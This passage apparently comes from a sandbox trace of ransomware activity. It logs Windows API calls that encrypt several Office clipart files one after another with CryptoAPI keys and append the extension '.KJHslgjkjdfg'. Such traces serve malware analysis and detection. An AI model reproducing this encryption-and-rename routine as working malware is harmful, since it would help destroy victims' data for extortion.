Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.153] GetProcessHeap () returned 0x2a0000 [0172.153] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.153] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.153] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.155] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.155] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.155] GetProcessHeap () returned 0x2a0000 [0172.155] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.155] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.155] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.155] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.155] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.156] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.156] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.156] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.156] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.156] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.156] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.156] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.156] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1364, lpOverlapped=0x0) returned 1 [0172.157] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370, dwBufLen=0x1370 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370) returned 1 [0172.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.157] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1370, lpOverlapped=0x0) returned 1 [0172.157] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.157] SetEndOfFile (hFile=0x114) returned 1 [0172.160] GetProcessHeap () returned 0x2a0000 [0172.160] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.160] GetProcessHeap () returned 0x2a0000 [0172.160] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.kjhslgjkjdfg")) returned 1 [0172.161] CloseHandle (hObject=0x114) returned 1 [0172.161] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1 [0172.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.162] GetProcessHeap () returned 0x2a0000 [0172.162] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.162] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.162] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.162] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.162] GetProcessHeap () returned 0x2a0000 [0172.162] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.162] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.162] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.162] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.164] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.165] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.165] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.165] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.165] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.165] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.165] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.166] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.166] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1210, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1210, lpOverlapped=0x0) returned 1 [0172.167] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1210, dwBufLen=0x1210 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1210) returned 1 [0172.167] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.167] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1210, lpOverlapped=0x0) returned 1 [0172.167] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.167] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.167] SetEndOfFile (hFile=0x114) returned 1 [0172.170] GetProcessHeap () returned 0x2a0000 [0172.170] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.170] GetProcessHeap () returned 0x2a0000 [0172.170] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.kjhslgjkjdfg")) returned 1 [0172.171] CloseHandle (hObject=0x114) returned 1 [0172.171] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1 [0172.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.172] GetProcessHeap () returned 0x2a0000 [0172.172] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.172] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.172] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.172] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.175] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.175] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.175] GetProcessHeap () returned 0x2a0000 [0172.175] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.175] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.175] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.175] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.175] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.175] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.175] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.175] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.175] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.176] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.176] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16f8, lpOverlapped=0x0) returned 1 [0172.177] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1700, dwBufLen=0x1700 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1700) returned 1 [0172.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.177] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1700, lpOverlapped=0x0) returned 1 [0172.177] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.177] SetEndOfFile (hFile=0x114) returned 1 [0172.180] GetProcessHeap () returned 0x2a0000 [0172.180] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.180] GetProcessHeap () returned 0x2a0000 [0172.180] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.kjhslgjkjdfg")) returned 1 [0172.181] CloseHandle (hObject=0x114) returned 1 [0172.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1 [0172.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.182] GetProcessHeap () returned 0x2a0000 [0172.182] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.182] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.182] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.184] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.185] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.185] GetProcessHeap () returned 0x2a0000 [0172.185] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.185] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.185] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.185] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.185] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.185] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.185] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.185] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.185] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.185] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.185] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.185] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.185] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x175c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x175c, lpOverlapped=0x0) returned 1 [0172.186] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1760, dwBufLen=0x1760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1760) returned 1 [0172.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.186] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1760, lpOverlapped=0x0) returned 1 [0172.187] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.187] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.187] SetEndOfFile (hFile=0x114) returned 1 [0172.189] GetProcessHeap () returned 0x2a0000 [0172.189] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.189] GetProcessHeap () returned 0x2a0000 [0172.189] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.189] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.kjhslgjkjdfg")) returned 1 [0172.190] CloseHandle (hObject=0x114) returned 1 [0172.191] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1 [0172.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.192] GetProcessHeap () returned 0x2a0000 [0172.192] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.192] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.192] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.192] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.194] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.194] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.194] GetProcessHeap () returned 0x2a0000 [0172.194] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.194] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.194] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.194] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, 